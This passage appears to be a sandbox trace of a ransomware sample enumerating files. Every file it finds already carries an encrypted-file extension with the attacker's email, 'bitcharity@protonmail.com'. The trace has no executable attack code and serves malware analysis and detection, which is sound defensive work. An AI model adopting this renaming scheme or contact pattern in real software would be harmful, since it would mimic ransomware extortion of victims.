ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.210] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3378c8e7, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3378c8e7, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x338ac4b4, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.210] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337a14f4, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337a14f4, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x338861a0, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.210] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x319385a7, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x319385a7, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32903e71, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.211] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x319385a7, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x319385a7, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32903e71, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.211] FindClose (in: hFindFile=0x6ebf30 | out: hFindFile=0x6ebf30) returned 1 [0242.212] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.212] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0242.212] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb8f0 [0242.213] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.213] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34877f06, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34877f06, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34a1ba76, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3274, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.213] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3457cecc, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3457cecc, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34662087, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xffd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.213] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31a8fb46, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31a8fb46, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32d7c5c9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.213] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31a8fb46, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31a8fb46, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32d7c5c9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.213] FindClose (in: hFindFile=0x6eb8f0 | out: hFindFile=0x6eb8f0) returned 1 [0242.214] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.214] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0242.215] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec330 [0242.215] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.216] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x343b327a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x343b327a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3450a7bb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.216] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x343ff753, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x343ff753, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x344e46b0, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.216] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x329502eb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.216] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x329502eb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.216] FindClose (in: hFindFile=0x6ec330 | out: hFindFile=0x6ec330) returned 1 [0242.217] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.217] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0242.217] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb7f0 [0242.218] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.218] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3450a7bb, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3450a7bb, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x345cbd7c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.218] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34530c71, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34530c71, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3461cce7, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.219] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x328916a9, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x328916a9, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3353ee61, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.219] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x328916a9, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x328916a9, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3353ee61, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.219] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0242.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.220] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0242.220] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb7f0 [0242.221] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.221] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x345f2e3f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x345f2e3f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346ae1ee, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.221] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3464b156, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3464b156, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346d4525, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.221] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32929fea, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32929fea, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x33649e3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.221] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32929fea, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32929fea, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x33649e3a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.221] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0242.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.222] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0242.222] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebef0 [0242.442] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.442] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x346880ad, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x346880ad, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3494a00c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.442] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x346d4525, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x346d4525, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x347df63f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.442] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3297656d, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3297656d, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x336982e6, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.442] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3297656d, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3297656d, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x336982e6, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.442] FindClose (in: hFindFile=0x6ebef0 | out: hFindFile=0x6ebef0) returned 1 [0242.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.443] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0242.443] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec3b0 [0242.445] FindNextFileW (in: hFindFile=0x6ec3b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) 